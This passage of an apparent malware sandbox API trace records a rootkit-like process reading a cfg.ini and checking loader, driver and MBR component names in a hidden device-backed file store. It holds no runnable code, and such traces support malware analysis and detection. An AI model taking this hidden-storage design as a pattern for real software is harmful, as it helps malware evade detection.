Event=0xfffff880028b25d0) [0122.368] IdePortDispatch () returned 0x103 [0122.368] KeWaitForMutexObject () returned 0x0 [0122.368] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.368] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.368] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.368] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.368] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.368] IdePortDispatch () returned 0x103 [0122.368] KeWaitForMutexObject () returned 0x0 [0122.369] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.369] KeLeaveCriticalRegion () [0122.369] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.369] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.369] KeEnterCriticalRegion () [0122.369] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.369] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.369] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.369] KeLeaveCriticalRegion () [0122.369] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.369] KeEnterCriticalRegion () [0122.369] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.369] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.369] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.369] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.369] KeLeaveCriticalRegion () [0122.369] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.369] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.369] KeEnterCriticalRegion () [0122.369] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.369] ExFreePoolWithTag (P=0xfffffa8003be5fb0, Tag=0x0) [0122.369] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.369] KeLeaveCriticalRegion () [0122.369] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.369] ReleaseMutex (hMutex=0xf0) returned 1 [0122.370] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.370] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.370] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.370] KeEnterCriticalRegion () [0122.370] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.370] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.370] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.370] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.370] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.370] IdePortDispatch () returned 0x103 [0122.370] KeWaitForMutexObject () returned 0x0 [0122.370] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.370] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.370] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.370] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.370] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.370] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be40e0 [0122.370] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.370] KeLeaveCriticalRegion () [0122.370] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.370] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.370] KeEnterCriticalRegion () [0122.370] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.370] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.370] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.370] KeLeaveCriticalRegion () [0122.370] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.370] KeEnterCriticalRegion () [0122.370] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.370] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.370] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.370] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.370] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.370] IdePortDispatch () returned 0x103 [0122.370] KeWaitForMutexObject () returned 0x0 [0122.371] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.371] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.371] KeLeaveCriticalRegion () [0122.371] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.371] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.371] KeEnterCriticalRegion () [0122.371] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.371] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c79000 [0122.371] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.371] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.371] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.371] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.371] IdePortDispatch () returned 0x103 [0122.371] KeWaitForMutexObject () returned 0x0 [0122.371] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.371] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.371] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.371] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.371] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.371] IdePortDispatch () returned 0x103 [0122.371] KeWaitForMutexObject () returned 0x0 [0122.371] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.371] KeLeaveCriticalRegion () [0122.371] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.372] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.372] KeEnterCriticalRegion () [0122.372] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.372] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.372] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.372] KeLeaveCriticalRegion () [0122.372] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.372] KeEnterCriticalRegion () [0122.372] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.372] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.372] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.372] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.372] KeLeaveCriticalRegion () [0122.372] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.372] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.372] KeEnterCriticalRegion () [0122.372] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.372] ExFreePoolWithTag (P=0xfffffa8003be40e0, Tag=0x0) [0122.372] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.372] KeLeaveCriticalRegion () [0122.372] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.372] ReleaseMutex (hMutex=0xf0) returned 1 [0122.372] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.372] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0122.372] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.372] KeEnterCriticalRegion () [0122.372] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.372] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.372] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.373] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.373] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.373] IdePortDispatch () returned 0x103 [0122.374] KeWaitForMutexObject () returned 0x0 [0122.374] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.374] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.374] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.374] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.374] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.374] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be5f00 [0122.374] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.374] KeLeaveCriticalRegion () [0122.374] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.374] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.374] KeEnterCriticalRegion () [0122.374] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.374] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.374] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.374] KeLeaveCriticalRegion () [0122.375] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.375] KeEnterCriticalRegion () [0122.375] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.375] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.375] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.375] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.375] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.375] IdePortDispatch () returned 0x103 [0122.375] KeWaitForMutexObject () returned 0x0 [0122.375] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.375] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.375] KeLeaveCriticalRegion () [0122.375] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.375] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.375] KeEnterCriticalRegion () [0122.375] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.375] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c7a000 [0122.375] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.375] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.375] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.375] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.375] IdePortDispatch () returned 0x103 [0122.376] KeWaitForMutexObject () returned 0x0 [0122.376] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.376] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.376] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.376] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.376] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.376] IdePortDispatch () returned 0x103 [0122.376] KeWaitForMutexObject () returned 0x0 [0122.376] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.376] KeLeaveCriticalRegion () [0122.376] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.376] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.376] KeEnterCriticalRegion () [0122.376] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.376] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.376] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.376] KeLeaveCriticalRegion () [0122.377] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.377] KeEnterCriticalRegion () [0122.377] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.377] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.377] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be5070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.377] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.377] KeLeaveCriticalRegion () [0122.377] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.377] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.377] KeEnterCriticalRegion () [0122.377] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.377] ExFreePoolWithTag (P=0xfffffa8003be5f00, Tag=0x0) [0122.377] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.377] KeLeaveCriticalRegion () [0122.377] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.377] ReleaseMutex (hMutex=0xf0) returned 1 [0122.377] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0122.377] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0122.377] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0122.377] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.377] KeEnterCriticalRegion () [0122.377] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.377] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.377] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.377] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.377] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.377] IdePortDispatch () returned 0x103 [0122.377] KeWaitForMutexObject () returned 0x0 [0122.377] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.377] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.377] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.377] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.377] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.377] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.377] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.377] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.377] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.378] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.378] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.378] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.378] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.378] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.378] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.378] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.378] KeLeaveCriticalRegion () [0122.378] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.378] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0122.378] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.378] KeEnterCriticalRegion () [0122.378] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.378] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.378] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.378] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.378] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.378] IdePortDispatch () returned 0x103 [0122.378] KeWaitForMutexObject () returned 0x0 [0122.378] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.378] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.378] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.378] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.378] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.378] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.378] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.378] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.378] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.378] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.378] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.378] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.378] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.378] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.378] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.378] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.378] KeLeaveCriticalRegion () [0122.378] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.378] ReleaseMutex (hMutex=0x100) returned 1 [0122.378] Sleep (dwMilliseconds=0x2bf20) [0122.385] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c241ab0, dwHighDateTime=0x1d24fa4)) [0122.385] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0122.385] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.385] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.385] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.385] KeEnterCriticalRegion () [0122.385] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.385] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.385] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.385] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.385] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.385] IdePortDispatch () returned 0x103 [0122.385] KeWaitForMutexObject () returned 0x0 [0122.385] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.385] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.385] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.385] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.385] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, 